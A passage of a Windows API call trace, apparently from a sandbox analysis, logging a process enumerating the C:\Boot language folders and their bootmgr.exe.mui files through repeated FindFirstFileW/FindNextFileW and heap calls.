ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.143] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.143] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.143] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.143] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.143] GetProcessHeap () returned 0x6a0000 [0165.143] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.143] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0165.143] GetProcessHeap () returned 0x6a0000 [0165.143] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.146] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.146] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.146] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.146] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.146] GetProcessHeap () returned 0x6a0000 [0165.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.146] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0165.146] GetProcessHeap () returned 0x6a0000 [0165.147] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.148] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.148] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.148] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.148] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.148] GetProcessHeap () returned 0x6a0000 [0165.148] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.148] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0165.148] GetProcessHeap () returned 0x6a0000 [0165.148] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.149] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.150] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.150] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.150] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.150] GetProcessHeap () returned 0x6a0000 [0165.150] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.150] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0165.150] GetProcessHeap () returned 0x6a0000 [0165.150] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.150] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.150] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.150] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.150] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.151] GetProcessHeap () returned 0x6a0000 [0165.151] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.151] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0165.151] GetProcessHeap () returned 0x6a0000 [0165.151] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.152] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.152] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.152] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.152] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.152] GetProcessHeap () returned 0x6a0000 [0165.152] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.152] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0165.152] GetProcessHeap () returned 0x6a0000 [0165.152] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.153] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.153] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.153] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.153] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.153] GetProcessHeap () returned 0x6a0000 [0165.153] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.153] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0165.153] GetProcessHeap () returned 0x6a0000 [0165.153] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.154] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.154] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.154] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.154] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.154] GetProcessHeap () returned 0x6a0000 [0165.154] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.155] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0165.155] GetProcessHeap () returned 0x6a0000 [0165.155] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.155] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: 